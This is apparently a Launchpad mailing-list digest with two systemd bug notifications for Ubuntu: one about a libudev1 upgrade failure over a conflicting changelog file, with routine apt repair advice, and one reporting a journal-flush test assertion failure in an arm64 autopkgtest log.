I'd suggest that you just remove the problematic changelog.Debian.gz
file, and re-run 'apt --fix-broken install' (which you've tried running
a few times, it appears). That should at least allow you to make apt
happy.

Also, I've cc'ed @vorlon to this bug, as he's aware of all the 32-bit
specifics, so he may be able to help provide direction for how to handle
systemd with both 32 and 64 bit packages, and/or specifically how to
handle installed steam on a 64 bit system.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1909390

Title:
  package libudev1 245.4-4ubuntu3.3 failed to install/upgrade: trying to
  overwrite shared '/usr/share/doc/libudev1/changelog.Debian.gz', which
  is different from other instances of package libudev1:amd64

Status in systemd package in Ubuntu:
  New

Bug description:
  Can't overwrite shared directory

  ProblemType: Package
  DistroRelease: Ubuntu 20.04
  Package: libudev1 245.4-4ubuntu3.3
  ProcVersionSignature: Ubuntu 5.4.0-58.64-generic 5.4.73
  Uname: Linux 5.4.0-58-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.14
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Sat Dec 26 22:19:09 2020
  DpkgTerminalLog:
   Preparing to unpack .../libudev1_245.4-4ubuntu3.3_amd64.deb ...
   Unpacking libudev1:amd64 (245.4-4ubuntu3.3) over (245.4-4ubuntu3.1) ...
   dpkg: error processing archive 
/var/cache/apt/archives/libudev1_245.4-4ubuntu3.3_amd64.deb (--unpack):
trying to overwrite shared '/usr/share/doc/libudev1/changelog.Debian.gz', 
which is different from other instances of package libudev1:amd64
  ErrorMessage: trying to overwrite shared 
'/usr/share/doc/libudev1/changelog.Debian.gz', which is different from other 
instances of package libudev1:amd64
  InstallationDate: Installed on 2020-12-11 (15 days ago)
  InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731)
  Python3Details: /usr/bin/python3.8, Python 3.8.5, python3-minimal, 
3.8.2-0ubuntu2
  PythonDetails: N/A
  RelatedPackageVersions:
   dpkg 1.19.7ubuntu3
   apt  2.0.2ubuntu0.2
  SourcePackage: systemd
  Title: package libudev1 245.4-4ubuntu3.3 failed to install/upgrade: trying to 
overwrite shared '/usr/share/doc/libudev1/changelog.Debian.gz', which is 
different from other instances of package libudev1:amd64
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:

[Touch-packages] [Bug 1881947] Re: Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function main(). Aborting.

[Dan Streetman]

I'm not 100% certain the upstream bug is the same, as it's in CentOS,
but I suspect it is.

I added more detail on what I suspect the cause is in the upstream bug.

** Bug watch added: github.com/systemd/systemd/issues #17963
   https://github.com/systemd/systemd/issues/17963

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/17963
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881947

Title:
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  New

Bug description:
  Observed in an focal/arm64 autopkgtest failure of systemd 245.4-4ubuntu3.1:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20200603_071743_738b2@/log.gz

  [...]
  PASS: test-journal-enum
  == test-journal-flush ===
  Root directory /var/log/journal removed.
  Directory /var/log/journal/3286b2469d224077b1026d239d625b0d removed.
  mmap cache statistics: 739 hit, 5 miss
  journal_file_copy_entry failed: Bad message
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function 
main(). Aborting.
  FAIL: test-journal-flush (code: 134)
  Aborted (core dumped)
  == test-journal-importer ===
  [...]
  autopkgtest [07:17:29]:  summary
  timedatedPASS
  hostnamedPASS
  localed-locale   PASS
  localed-x11-keymap   PASS
  logind   PASS
  unit-config  PASS
  storage  PASS
  networkd-test.py PASS
  build-login  PASS
  boot-and-servicesPASS
  udev PASS
  root-unittests   FAIL non-zero exit status 134
  upstream PASS
  boot-smoke   PASS
  systemd-fsckdPASS
  Exit request sent.
  [...]

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1881947/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp